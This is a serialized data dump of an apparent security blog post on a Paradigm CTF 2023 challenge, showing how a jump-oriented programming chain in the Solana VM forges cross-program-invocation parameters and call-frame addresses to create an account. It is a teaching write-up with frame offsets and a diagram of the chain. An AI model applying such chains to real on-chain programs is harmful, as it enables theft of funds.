u64\n",[43732],{"type":20,"tag":119,"props":43733,"children":43734},{"__ignoreMap":7},[43735],{"type":20,"tag":315,"props":43736,"children":43737},{"class":317,"line":318},[43738,43742,43747,43751,43756,43760,43764,43768,43772,43776,43781,43785,43789,43793,43797,43801,43806,43810,43814,43818,43823,43827,43831,43835,43839,43843,43848,43852,43856,43860,43864],{"type":20,"tag":315,"props":43739,"children":43740},{"style":541},[43741],{"type":26,"value":18670},{"type":20,"tag":315,"props":43743,"children":43744},{"style":345},[43745],{"type":26,"value":43746}," sol_invoke_signed_rust",{"type":20,"tag":315,"props":43748,"children":43749},{"style":328},[43750],{"type":26,"value":1049},{"type":20,"tag":315,"props":43752,"children":43753},{"style":635},[43754],{"type":26,"value":43755},"instruction_addr",{"type":20,"tag":315,"props":43757,"children":43758},{"style":334},[43759],{"type":26,"value":2884},{"type":20,"tag":315,"props":43761,"children":43762},{"style":334},[43763],{"type":26,"value":8216},{"type":20,"tag":315,"props":43765,"children":43766},{"style":541},[43767],{"type":26,"value":8054},{"type":20,"tag":315,"props":43769,"children":43770},{"style":322},[43771],{"type":26,"value":13035},{"type":20,"tag":315,"props":43773,"children":43774},{"style":328},[43775],{"type":26,"value":44},{"type":20,"tag":315,"props":43777,"children":43778},{"style":635},[43779],{"type":26,"value":43780},"account_infos_addr",{"type":20,"tag":315,"props":43782,"children":43783},{"style":334},[43784],{"type":26,"value":2884},{"type":20,"tag":315,"props":43786,"children":43787},{"style":334},[43788],{"type":26,"value":8216},{"type":20,"tag":315,"props":43790,"children":43791},{"style":541},[43792],{"type":26,"value":8054},{"type":20,"tag":315,"props":43794,"children":43795},{"style":322},[43796],{"type":26,"value":13035},{"type":20,"tag":315,"props":43798,"children":43799},{"style":328},[43800],{"type":26,"value":44},{"type":20,"tag":315,"props":43802,"children":43803},{"style":635},[43804],{"type":26,"value":43805},"account_infos_len",{"type":20,"tag":315,"props":43807,"children":43808},{"style":334},[43809],{"type":26,"value":2884},{"type":20,"tag":315,"props":43811,"children":43812},{"style":322},[43813],{"type":26,"value":4253},{"type":20,"tag":315,"props":43815,"children":43816},{"style":328},[43817],{"type":26,"value":44},{"type":20,"tag":315,"props":43819,"children":43820},{"style":635},[43821],{"type":26,"value":43822},"signers_seeds_addr",{"type":20,"tag":315,"props":43824,"children":43825},{"style":334},[43826],{"type":26,"value":2884},{"type":20,"tag":315,"props":43828,"children":43829},{"style":334},[43830],{"type":26,"value":8216},{"type":20,"tag":315,"props":43832,"children":43833},{"style":541},[43834],{"type":26,"value":8054},{"type":20,"tag":315,"props":43836,"children":43837},{"style":322},[43838],{"type":26,"value":13035},{"type":20,"tag":315,"props":43840,"children":43841},{"style":328},[43842],{"type":26,"value":44},{"type":20,"tag":315,"props":43844,"children":43845},{"style":635},[43846],{"type":26,"value":43847},"signers_seeds_len",{"type":20,"tag":315,"props":43849,"children":43850},{"style":334},[43851],{"type":26,"value":2884},{"type":20,"tag":315,"props":43853,"children":43854},{"style":322},[43855],{"type":26,"value":4253},{"type":20,"tag":315,"props":43857,"children":43858},{"style":328},[43859],{"type":26,"value":1468},{"type":20,"tag":315,"props":43861,"children":43862},{"style":334},[43863],{"type":26,"value":12158},{"type":20,"tag":315,"props":43865,"children":43866},{"style":322},[43867],{"type":26,"value":11597},{"type":20,"tag":29,"props":43869,"children":43870},{},[43871,43873,43878,43880,43887],{"type":26,"value":43872},"The source of ",{"type":20,"tag":35,"props":43874,"children":43876},{"href":43875},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[43877],{"type":26,"value":42488},{"type":26,"value":43879}," helps a lot, but looking at the actual ",{"type":20,"tag":35,"props":43881,"children":43884},{"href":43882,"rel":43883},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[39],[43885],{"type":26,"value":43886},"implementation",{"type":26,"value":43888}," provides more clarity:",{"type":20,"tag":15089,"props":43890,"children":43891},{},[43892],{"type":20,"tag":72,"props":43893,"children":43894},{},[43895,43900,43902,43909],{"type":20,"tag":119,"props":43896,"children":43898},{"className":43897},[],[43899],{"type":26,"value":43755},{"type":26,"value":43901}," points to a ",{"type":20,"tag":35,"props":43903,"children":43906},{"href":43904,"rel":43905},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[39],[43907],{"type":26,"value":43908},"StableInstruction",{"type":26,"value":2884},{"type":20,"tag":29,"props":43911,"children":43912},{},[43913],{"type":20,"tag":2308,"props":43914,"children":43916},{"alt":43908,"src":43915},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":20,"tag":15089,"props":43918,"children":43919},{},[43920,43945],{"type":20,"tag":72,"props":43921,"children":43922},{},[43923,43928,43930,43935,43937,43944],{"type":20,"tag":119,"props":43924,"children":43926},{"className":43925},[],[43927],{"type":26,"value":43780},{"type":26,"value":43929}," points to a slice of ",{"type":20,"tag":119,"props":43931,"children":43933},{"className":43932},[],[43934],{"type":26,"value":43805},{"type":26,"value":43936}," ",{"type":20,"tag":35,"props":43938,"children":43941},{"href":43939,"rel":43940},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[39],[43942],{"type":26,"value":43943},"AccountInfos",{"type":26,"value":61},{"type":20,"tag":72,"props":43946,"children":43947},{},[43948,43953,43955,43960,43962,43967],{"type":20,"tag":119,"props":43949,"children":43951},{"className":43950},[],[43952],{"type":26,"value":43822},{"type":26,"value":43954}," is a bit trickier, it points to a slice of length ",{"type":20,"tag":119,"props":43956,"children":43958},{"className":43957},[],[43959],{"type":26,"value":43847},{"type":26,"value":43961},", containing slices of ",{"type":20,"tag":119,"props":43963,"children":43965},{"className":43964},[],[43966],{"type":26,"value":1802},{"type":26,"value":61},{"type":20,"tag":29,"props":43969,"children":43970},{},[43971],{"type":20,"tag":2308,"props":43972,"children":43975},{"alt":43973,"src":43974},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":20,"tag":29,"props":43977,"children":43978},{},[43979,43981,43986],{"type":26,"value":43980},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":20,"tag":55,"props":43982,"children":43983},{},[43984],{"type":26,"value":43985},"future call frames",{"type":26,"value":61},{"type":20,"tag":29,"props":43988,"children":43989},{},[43990,43992,43999],{"type":26,"value":43991},"Now that we have all the parts, all we need is to string it together. The full ",{"type":20,"tag":35,"props":43993,"children":43996},{"href":43994,"rel":43995},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[39],[43997],{"type":26,"value":43998},"reference solution can be found here",{"type":26,"value":61},{"type":20,"tag":29,"props":44001,"children":44002},{},[44003],{"type":26,"value":44004},"Here's a visualization of the final JOP chain.",{"type":20,"tag":305,"props":44006,"children":44008},{"className":42370,"code":44007,"language":42372,"meta":7,"style":7},"graph BT\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: Write account_infos.ptr to target_r10 - 136]\n C --> E[3: process]\n E --> F[4: Write account_infos.len to target_r10 - 128]\n E --> G[4: process]\n G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n G --> I[5: process]\n I --> J[6: Write signers_seeds.len to target_r10 - 144]\n I --> K[6: process]\n K --> M[7: Write HeapBase to target_r10 - 120]\n K --> N[7: process]\n N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n N --> O[8: Write 0x4337 to the account]\n",[44009],{"type":20,"tag":119,"props":44010,"children":44011},{"__ignoreMap":7},[44012,44020,44027,44034,44042,44049,44057,44065,44073,44081,44089,44097,44105,44113,44121],{"type":20,"tag":315,"props":44013,"children":44014},{"class":317,"line":318},[44015],{"type":20,"tag":315,"props":44016,"children":44017},{},[44018],{"type":26,"value":44019},"graph BT\n",{"type":20,"tag":315,"props":44021,"children":44022},{"class":317,"line":356},[44023],{"type":20,"tag":315,"props":44024,"children":44025},{},[44026],{"type":26,"value":42392},{"type":20,"tag":315,"props":44028,"children":44029},{"class":317,"line":365},[44030],{"type":20,"tag":315,"props":44031,"children":44032},{},[44033],{"type":26,"value":42400},{"type":20,"tag":315,"props":44035,"children":44036},{"class":317,"line":374},[44037],{"type":20,"tag":315,"props":44038,"children":44039},{},[44040],{"type":26,"value":44041}," C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":20,"tag":315,"props":44043,"children":44044},{"class":317,"line":383},[44045],{"type":20,"tag":315,"props":44046,"children":44047},{},[44048],{"type":26,"value":42416},{"type":20,"tag":315,"props":44050,"children":44051},{"class":317,"line":407},[44052],{"type":20,"tag":315,"props":44053,"children":44054},{},[44055],{"type":26,"value":44056}," E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":20,"tag":315,"props":44058,"children":44059},{"class":317,"line":421},[44060],{"type":20,"tag":315,"props":44061,"children":44062},{},[44063],{"type":26,"value":44064}," E --> G[4: process]\n",{"type":20,"tag":315,"props":44066,"children":44067},{"class":317,"line":430},[44068],{"type":20,"tag":315,"props":44069,"children":44070},{},[44071],{"type":26,"value":44072}," G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":20,"tag":315,"props":44074,"children":44075},{"class":317,"line":453},[44076],{"type":20,"tag":315,"props":44077,"children":44078},{},[44079],{"type":26,"value":44080}," G --> I[5: process]\n",{"type":20,"tag":315,"props":44082,"children":44083},{"class":317,"line":486},[44084],{"type":20,"tag":315,"props":44085,"children":44086},{},[44087],{"type":26,"value":44088}," I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":20,"tag":315,"props":44090,"children":44091},{"class":317,"line":499},[44092],{"type":20,"tag":315,"props":44093,"children":44094},{},[44095],{"type":26,"value":44096}," I --> K[6: process]\n",{"type":20,"tag":315,"props":44098,"children":44099},{"class":317,"line":513},[44100],{"type":20,"tag":315,"props":44101,"children":44102},{},[44103],{"type":26,"value":44104}," K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":20,"tag":315,"props":44106,"children":44107},{"class":317,"line":521},[44108],{"type":20,"tag":315,"props":44109,"children":44110},{},[44111],{"type":26,"value":44112}," K --> N[7: process]\n",{"type":20,"tag":315,"props":44114,"children":44115},{"class":317,"line":552},[44116],{"type":20,"tag":315,"props":44117,"children":44118},{},[44119],{"type":26,"value":44120}," N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":20,"tag":315,"props":44122,"children":44123},{"class":317,"line":571},[44124],{"type":20,"tag":315,"props":44125,"children":44126},{},[44127],{"type":26,"value":44128}," N --> O[8: Write 0x4337 to the account]\n",{"type":20,"tag":29,"props":44130,"children":44131},{},[44132,44134,44140],{"type":26,"value":44133},"Small note: ",{"type":20,"tag":119,"props":44135,"children":44137},{"className":44136},[],[44138],{"type":26,"value":44139},"target_r10",{"type":26,"value":44141}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":20,"tag":305,"props":44143,"children":44145},{"className":1360,"code":44144,"language":1359,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n 0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[44146],{"type":20,"tag":119,"props":44147,"children":44148},{"__ignoreMap":7},[44149,44194,44229,44236],{"type":20,"tag":315,"props":44150,"children":44151},{"class":317,"line":318},[44152,44156,44161,44165,44170,44174,44178,44182,44186,44190],{"type":20,"tag":315,"props":44153,"children":44154},{"style":541},[44155],{"type":26,"value":18670},{"type":20,"tag":315,"props":44157,"children":44158},{"style":345},[44159],{"type":26,"value":44160}," call_frame_addr",{"type":20,"tag":315,"props":44162,"children":44163},{"style":328},[44164],{"type":26,"value":1049},{"type":20,"tag":315,"props":44166,"children":44167},{"style":635},[44168],{"type":26,"value":44169},"depth",{"type":20,"tag":315,"props":44171,"children":44172},{"style":334},[44173],{"type":26,"value":2884},{"type":20,"tag":315,"props":44175,"children":44176},{"style":322},[44177],{"type":26,"value":4253},{"type":20,"tag":315,"props":44179,"children":44180},{"style":328},[44181],{"type":26,"value":1468},{"type":20,"tag":315,"props":44183,"children":44184},{"style":334},[44185],{"type":26,"value":12158},{"type":20,"tag":315,"props":44187,"children":44188},{"style":322},[44189],{"type":26,"value":4253},{"type":20,"tag":315,"props":44191,"children":44192},{"style":328},[44193],{"type":26,"value":1092},{"type":20,"tag":315,"props":44195,"children":44196},{"class":317,"line":356},[44197,44202,44206,44211,44215,44220,44224],{"type":20,"tag":315,"props":44198,"children":44199},{"style":765},[44200],{"type":26,"value":44201}," 0x200000000",{"type":20,"tag":315,"props":44203,"children":44204},{"style":334},[44205],{"type":26,"value":7301},{"type":20,"tag":315,"props":44207,"children":44208},{"style":765},[44209],{"type":26,"value":44210}," 0x2000",{"type":20,"tag":315,"props":44212,"children":44213},{"style":334},[44214],{"type":26,"value":8216},{"type":20,"tag":315,"props":44216,"children":44217},{"style":635},[44218],{"type":26,"value":44219}," depth",{"type":20,"tag":315,"props":44221,"children":44222},{"style":334},[44223],{"type":26,"value":7301},{"type":20,"tag":315,"props":44225,"children":44226},{"style":765},[44227],{"type":26,"value":44228}," 0x1000\n",{"type":20,"tag":315,"props":44230,"children":44231},{"class":317,"line":365},[44232],{"type":20,"tag":315,"props":44233,"children":44234},{"style":328},[44235],{"type":26,"value":577},{"type":20,"tag":315,"props":44237,"children":44238},{"class":317,"line":374},[44239],{"type":20,"tag":315,"props":44240,"children":44241},{"style":1071},[44242],{"type":26,"value":44243},"// call_frame_addr(8) = 0x200011000\n",{"type":20,"tag":21,"props":44245,"children":44246},{"id":1211},[44247],{"type":26,"value":1214},{"type":20,"tag":29,"props":44249,"children":44250},{},[44251,44253,44260],{"type":26,"value":44252},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":20,"tag":35,"props":44254,"children":44257},{"href":44255,"rel":44256},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[39],[44258],{"type":26,"value":44259},"they do exist",{"type":26,"value":61},{"type":20,"tag":29,"props":44262,"children":44263},{},[44264],{"type":26,"value":44265},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":20,"tag":29,"props":44267,"children":44268},{},[44269,44271,44276],{"type":26,"value":44270},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":20,"tag":55,"props":44272,"children":44273},{},[44274],{"type":26,"value":44275},"entire",{"type":26,"value":44277}," runtime.",{"type":20,"tag":1226,"props":44279,"children":44280},{},[44281],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":44283},[44284,44288,44289,44292],{"id":17360,"depth":356,"text":17363,"children":44285},[44286,44287],{"id":38958,"depth":365,"text":38961},{"id":40277,"depth":365,"text":40280},{"id":41516,"depth":356,"text":41519},{"id":42352,"depth":356,"text":42355,"children":44290},[44291],{"id":42466,"depth":365,"text":42469},{"id":1211,"depth":356,"text":1214},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":44297,"image":44298,"date":14,"isFeatured":15,"onBlogPage":15,"body":44299,"_type":1242,"_id":1243,"_source":1244,"_file":1245,"_stem":1246,"_extension":1247},[11],{"src":13},{"type":17,"children":44300,"toc":45270},[44301,44305,44326,44330,44341,44345,44349,44353,44357,44361,44365,44375,44385,44400,44416,44420,44424,44439,44443,44447,44451,44461,44471,44475,44479,44489,44493,44509,44720,44724,44728,44738,44957,44965,44969,44973,44977,44981,45010,45014,45023,45027,45031,45041,45155,45165,45233,45237,45246,45250,45254,45258,45262,45266],{"type":20,"tag":21,"props":44302,"children":44303},{"id":23},[44304],{"type":26,"value":27},{"type":20,"tag":29,"props":44306,"children":44307},{},[44308,44309,44314,44315,44320,44321,44325],{"type":26,"value":33},{"type":20,"tag":35,"props":44310,"children":44312},{"href":37,"rel":44311},[39],[44313],{"type":26,"value":42},{"type":26,"value":44},{"type":20,"tag":35,"props":44316,"children":44318},{"href":47,"rel":44317},[39],[44319],{"type":26,"value":51},{"type":26,"value":53},{"type":20,"tag":55,"props":44322,"children":44323},{},[44324],{"type":26,"value":59},{"type":26,"value":61},{"type":20,"tag":29,"props":44327,"children":44328},{},[44329],{"type":26,"value":66},{"type":20,"tag":68,"props":44331,"children":44332},{},[44333,44337],{"type":20,"tag":72,"props":44334,"children":44335},{},[44336],{"type":26,"value":76},{"type":20,"tag":72,"props":44338,"children":44339},{},[44340],{"type":26,"value":81},{"type":20,"tag":29,"props":44342,"children":44343},{},[44344],{"type":26,"value":86},{"type":20,"tag":21,"props":44346,"children":44347},{"id":89},[44348],{"type":26,"value":92},{"type":20,"tag":29,"props":44350,"children":44351},{},[44352],{"type":26,"value":97},{"type":20,"tag":29,"props":44354,"children":44355},{},[44356],{"type":26,"value":102},{"type":20,"tag":29,"props":44358,"children":44359},{},[44360],{"type":26,"value":107},{"type":20,"tag":29,"props":44362,"children":44363},{},[44364],{"type":26,"value":112},{"type":20,"tag":29,"props":44366,"children":44367},{},[44368,44369,44374],{"type":26,"value":117},{"type":20,"tag":119,"props":44370,"children":44372},{"className":44371},[],[44373],{"type":26,"value":124},{"type":26,"value":126},{"type":20,"tag":29,"props":44376,"children":44377},{},[44378,44379,44384],{"type":26,"value":131},{"type":20,"tag":119,"props":44380,"children":44382},{"className":44381},[],[44383],{"type":26,"value":137},{"type":26,"value":61},{"type":20,"tag":29,"props":44386,"children":44387},{},[44388,44389,44394,44395,44399],{"type":26,"value":143},{"type":20,"tag":119,"props":44390,"children":44392},{"className":44391},[],[44393],{"type":26,"value":149},{"type":26,"value":151},{"type":20,"tag":55,"props":44396,"children":44397},{},[44398],{"type":26,"value":156},{"type":26,"value":158},{"type":20,"tag":29,"props":44401,"children":44402},{},[44403,44404,44409,44410,44415],{"type":26,"value":163},{"type":20,"tag":119,"props":44405,"children":44407},{"className":44406},[],[44408],{"type":26,"value":169},{"type":26,"value":171},{"type":20,"tag":119,"props":44411,"children":44413},{"className":44412},[],[44414],{"type":26,"value":177},{"type":26,"value":61},{"type":20,"tag":29,"props":44417,"children":44418},{},[44419],{"type":26,"value":183},{"type":20,"tag":29,"props":44421,"children":44422},{},[44423],{"type":26,"value":188},{"type":20,"tag":68,"props":44425,"children":44426},{},[44427,44431,44435],{"type":20,"tag":72,"props":44428,"children":44429},{},[44430],{"type":26,"value":196},{"type":20,"tag":72,"props":44432,"children":44433},{},[44434],{"type":26,"value":201},{"type":20,"tag":72,"props":44436,"children":44437},{},[44438],{"type":26,"value":206},{"type":20,"tag":21,"props":44440,"children":44441},{"id":209},[44442],{"type":26,"value":212},{"type":20,"tag":29,"props":44444,"children":44445},{},[44446],{"type":26,"value":217},{"type":20,"tag":219,"props":44448,"children":44449},{"id":221},[44450],{"type":26,"value":224},{"type":20,"tag":29,"props":44452,"children":44453},{},[44454,44455,44460],{"type":26,"value":229},{"type":20,"tag":35,"props":44456,"children":44458},{"href":232,"rel":44457},[39],[44459],{"type":26,"value":236},{"type":26,"value":238},{"type":20,"tag":29,"props":44462,"children":44463},{},[44464,44465,44470],{"type":26,"value":243},{"type":20,"tag":35,"props":44466,"children":44468},{"href":246,"rel":44467},[39],[44469],{"type":26,"value":250},{"type":26,"value":61},{"type":20,"tag":29,"props":44472,"children":44473},{},[44474],{"type":26,"value":256},{"type":20,"tag":219,"props":44476,"children":44477},{"id":259},[44478],{"type":26,"value":262},{"type":20,"tag":29,"props":44480,"children":44481},{},[44482,44483,44488],{"type":26,"value":267},{"type":20,"tag":35,"props":44484,"children":44486},{"href":270,"rel":44485},[39],[44487],{"type":26,"value":274},{"type":26,"value":276},{"type":20,"tag":29,"props":44490,"children":44491},{},[44492],{"type":26,"value":281},{"type":20,"tag":29,"props":44494,"children":44495},{},[44496,44497,44502,44503,44508],{"type":26,"value":286},{"type":20,"tag":35,"props":44498,"children":44500},{"href":289,"rel":44499},[39],[44501],{"type":26,"value":293},{"type":26,"value":295},{"type":20,"tag":35,"props":44504,"children":44506},{"href":298,"rel":44505},[39],[44507],{"type":26,"value":302},{"type":26,"value":61},{"type":20,"tag":305,"props":44510,"children":44511},{"className":307,"code":308,"language":309,"meta":7,"style":7},[44512],{"type":20,"tag":119,"props":44513,"children":44514},{"__ignoreMap":7},[44515,44542,44549,44556,44563,44582,44593,44600,44619,44646,44657,44668,44675,44698,44713],{"type":20,"tag":315,"props":44516,"children":44517},{"class":317,"line":318},[44518,44522,44526,44530,44534,44538],{"type":20,"tag":315,"props":44519,"children":44520},{"style":322},[44521],{"type":26,"value":325},{"type":20,"tag":315,"props":44523,"children":44524},{"style":328},[44525],{"type":26,"value":331},{"type":20,"tag":315,"props":44527,"children":44528},{"style":334},[44529],{"type":26,"value":337},{"type":20,"tag":315,"props":44531,"children":44532},{"style":328},[44533],{"type":26,"value":342},{"type":20,"tag":315,"props":44535,"children":44536},{"style":345},[44537],{"type":26,"value":348},{"type":20,"tag":315,"props":44539,"children":44540},{"style":328},[44541],{"type":26,"value":353},{"type":20,"tag":315,"props":44543,"children":44544},{"class":317,"line":356},[44545],{"type":20,"tag":315,"props":44546,"children":44547},{"style":328},[44548],{"type":26,"value":362},{"type":20,"tag":315,"props":44550,"children":44551},{"class":317,"line":365},[44552],{"type":20,"tag":315,"props":44553,"children":44554},{"style":328},[44555],{"type":26,"value":371},{"type":20,"tag":315,"props":44557,"children":44558},{"class":317,"line":374},[44559],{"type":20,"tag":315,"props":44560,"children":44561},{"style":328},[44562],{"type":26,"value":380},{"type":20,"tag":315,"props":44564,"children":44565},{"class":317,"line":383},[44566,44570,44574,44578],{"type":20,"tag":315,"props":44567,"children":44568},{"style":334},[44569],{"type":26,"value":389},{"type":20,"tag":315,"props":44571,"children":44572},{"style":328},[44573],{"type":26,"value":394},{"type":20,"tag":315,"props":44575,"children":44576},{"style":345},[44577],{"type":26,"value":399},{"type":20,"tag":315,"props":44579,"children":44580},{"style":328},[44581],{"type":26,"value":404},{"type":20,"tag":315,"props":44583,"children":44584},{"class":317,"line":407},[44585,44589],{"type":20,"tag":315,"props":44586,"children":44587},{"style":334},[44588],{"type":26,"value":413},{"type":20,"tag":315,"props":44590,"children":44591},{"style":328},[44592],{"type":26,"value":418},{"type":20,"tag":315,"props":44594,"children":44595},{"class":317,"line":421},[44596],{"type":20,"tag":315,"props":44597,"children":44598},{"emptyLinePlaceholder":15},[44599],{"type":26,"value":427},{"type":20,"tag":315,"props":44601,"children":44602},{"class":317,"line":430},[44603,44607,44611,44615],{"type":20,"tag":315,"props":44604,"children":44605},{"style":322},[44606],{"type":26,"value":436},{"type":20,"tag":315,"props":44608,"children":44609},{"style":328},[44610],{"type":26,"value":441},{"type":20,"tag":315,"props":44612,"children":44613},{"style":334},[44614],{"type":26,"value":337},{"type":20,"tag":315,"props":44616,"children":44617},{"style":328},[44618],{"type":26,"value":450},{"type":20,"tag":315,"props":44620,"children":44621},{"class":317,"line":453},[44622,44626,44630,44634,44638,44642],{"type":20,"tag":315,"props":44623,"children":44624},{"style":334},[44625],{"type":26,"value":389},{"type":20,"tag":315,"props":44627,"children":44628},{"style":328},[44629],{"type":26,"value":463},{"type":20,"tag":315,"props":44631,"children":44632},{"style":345},[44633],{"type":26,"value":468},{"type":20,"tag":315,"props":44635,"children":44636},{"style":328},[44637],{"type":26,"value":473},{"type":20,"tag":315,"props":44639,"children":44640},{"style":334},[44641],{"type":26,"value":478},{"type":20,"tag":315,"props":44643,"children":44644},{"style":328},[44645],{"type":26,"value":483},{"type":20,"tag":315,"props":44647,"children":44648},{"class":317,"line":486},[44649,44653],{"type":20,"tag":315,"props":44650,"children":44651},{"style":334},[44652],{"type":26,"value":413},{"type":20,"tag":315,"props":44654,"children":44655},{"style":328},[44656],{"type":26,"value":496},{"type":20,"tag":315,"props":44658,"children":44659},{"class":317,"line":499},[44660,44664],{"type":20,"tag":315,"props":44661,"children":44662},{"style":334},[44663],{"type":26,"value":505},{"type":20,"tag":315,"props":44665,"children":44666},{"style":328},[44667],{"type":26,"value":510},{"type":20,"tag":315,"props":44669,"children":44670},{"class":317,"line":513},[44671],{"type":20,"tag":315,"props":44672,"children":44673},{"emptyLinePlaceholder":15},[44674],{"type":26,"value":427},{"type":20,"tag":315,"props":44676,"children":44677},{"class":317,"line":521},[44678,44682,44686,44690,44694],{"type":20,"tag":315,"props":44679,"children":44680},{"style":525},[44681],{"type":26,"value":528},{"type":20,"tag":315,"props":44683,"children":44684},{"style":328},[44685],{"type":26,"value":533},{"type":20,"tag":315,"props":44687,"children":44688},{"style":334},[44689],{"type":26,"value":538},{"type":20,"tag":315,"props":44691,"children":44692},{"style":541},[44693],{"type":26,"value":544},{"type":20,"tag":315,"props":44695,"children":44696},{"style":328},[44697],{"type":26,"value":549},{"type":20,"tag":315,"props":44699,"children":44700},{"class":317,"line":552},[44701,44705,44709],{"type":20,"tag":315,"props":44702,"children":44703},{"style":525},[44704],{"type":26,"value":558},{"type":20,"tag":315,"props":44706,"children":44707},{"style":345},[44708],{"type":26,"value":563},{"type":20,"tag":315,"props":44710,"children":44711},{"style":328},[44712],{"type":26,"value":568},{"type":20,"tag":315,"props":44714,"children":44715},{"class":317,"line":571},[44716],{"type":20,"tag":315,"props":44717,"children":44718},{"style":328},[44719],{"type":26,"value":577},{"type":20,"tag":29,"props":44721,"children":44722},{},[44723],{"type":26,"value":582},{"type":20,"tag":29,"props":44725,"children":44726},{},[44727],{"type":26,"value":587},{"type":20,"tag":29,"props":44729,"children":44730},{},[44731,44732,44737],{"type":26,"value":592},{"type":20,"tag":35,"props":44733,"children":44735},{"href":595,"rel":44734},[39],[44736],{"type":26,"value":262},{"type":26,"value":600},{"type":20,"tag":305,"props":44739,"children":44740},{"className":307,"code":603,"language":309,"meta":7,"style":7},[44741],{"type":20,"tag":119,"props":44742,"children":44743},{"__ignoreMap":7},[44744,44759,44774,44789,44800,44807,44814,44821,44840,44847,44866,44885,44904,44931,44950],{"type":20,"tag":315,"props":44745,"children":44746},{"class":317,"line":318},[44747,44751,44755],{"type":20,"tag":315,"props":44748,"children":44749},{"style":541},[44750],{"type":26,"value":615},{"type":20,"tag":315,"props":44752,"children":44753},{"style":345},[44754],{"type":26,"value":620},{"type":20,"tag":315,"props":44756,"children":44757},{"style":328},[44758],{"type":26,"value":353},{"type":20,"tag":315,"props":44760,"children":44761},{"class":317,"line":356},[44762,44766,44770],{"type":20,"tag":315,"props":44763,"children":44764},{"style":322},[44765],{"type":26,"value":632},{"type":20,"tag":315,"props":44767,"children":44768},{"style":635},[44769],{"type":26,"value":638},{"type":20,"tag":315,"props":44771,"children":44772},{"style":328},[44773],{"type":26,"value":643},{"type":20,"tag":315,"props":44775,"children":44776},{"class":317,"line":365},[44777,44781,44785],{"type":20,"tag":315,"props":44778,"children":44779},{"style":322},[44780],{"type":26,"value":632},{"type":20,"tag":315,"props":44782,"children":44783},{"style":635},[44784],{"type":26,"value":655},{"type":20,"tag":315,"props":44786,"children":44787},{"style":328},[44788],{"type":26,"value":643},{"type":20,"tag":315,"props":44790,"children":44791},{"class":317,"line":374},[44792,44796],{"type":20,"tag":315,"props":44793,"children":44794},{"style":322},[44795],{"type":26,"value":667},{"type":20,"tag":315,"props":44797,"children":44798},{"style":635},[44799],{"type":26,"value":672},{"type":20,"tag":315,"props":44801,"children":44802},{"class":317,"line":383},[44803],{"type":20,"tag":315,"props":44804,"children":44805},{"style":328},[44806],{"type":26,"value":380},{"type":20,"tag":315,"props":44808,"children":44809},{"class":317,"line":407},[44810],{"type":20,"tag":315,"props":44811,"children":44812},{"style":541},[44813],{"type":26,"value":687},{"type":20,"tag":315,"props":44815,"children":44816},{"class":317,"line":421},[44817],{"type":20,"tag":315,"props":44818,"children":44819},{"style":541},[44820],{"type":26,"value":695},{"type":20,"tag":315,"props":44822,"children":44823},{"class":317,"line":430},[44824,44828,44832,44836],{"type":20,"tag":315,"props":44825,"children":44826},{"style":525},[44827],{"type":26,"value":703},{"type":20,"tag":315,"props":44829,"children":44830},{"style":328},[44831],{"type":26,"value":463},{"type":20,"tag":315,"props":44833,"children":44834},{"style":322},[44835],{"type":26,"value":325},{"type":20,"tag":315,"props":44837,"children":44838},{"style":328},[44839],{"type":26,"value":380},{"type":20,"tag":315,"props":44841,"children":44842},{"class":317,"line":453},[44843],{"type":20,"tag":315,"props":44844,"children":44845},{"style":328},[44846],{"type":26,"value":723},{"type":20,"tag":315,"props":44848,"children":44849},{"class":317,"line":486},[44850,44854,44858,44862],{"type":20,"tag":315,"props":44851,"children":44852},{"style":525},[44853],{"type":26,"value":731},{"type":20,"tag":315,"props":44855,"children":44856},{"style":328},[44857],{"type":26,"value":736},{"type":20,"tag":315,"props":44859,"children":44860},{"style":334},[44861],{"type":26,"value":538},{"type":20,"tag":315,"props":44863,"children":44864},{"style":541},[44865],{"type":26,"value":745},{"type":20,"tag":315,"props":44867,"children":44868},{"class":317,"line":499},[44869,44873,44877,44881],{"type":20,"tag":315,"props":44870,"children":44871},{"style":334},[44872],{"type":26,"value":753},{"type":20,"tag":315,"props":44874,"children":44875},{"style":328},[44876],{"type":26,"value":758},{"type":20,"tag":315,"props":44878,"children":44879},{"style":334},[44880],{"type":26,"value":538},{"type":20,"tag":315,"props":44882,"children":44883},{"style":765},[44884],{"type":26,"value":768},{"type":20,"tag":315,"props":44886,"children":44887},{"class":317,"line":513},[44888,44892,44896,44900],{"type":20,"tag":315,"props":44889,"children":44890},{"style":334},[44891],{"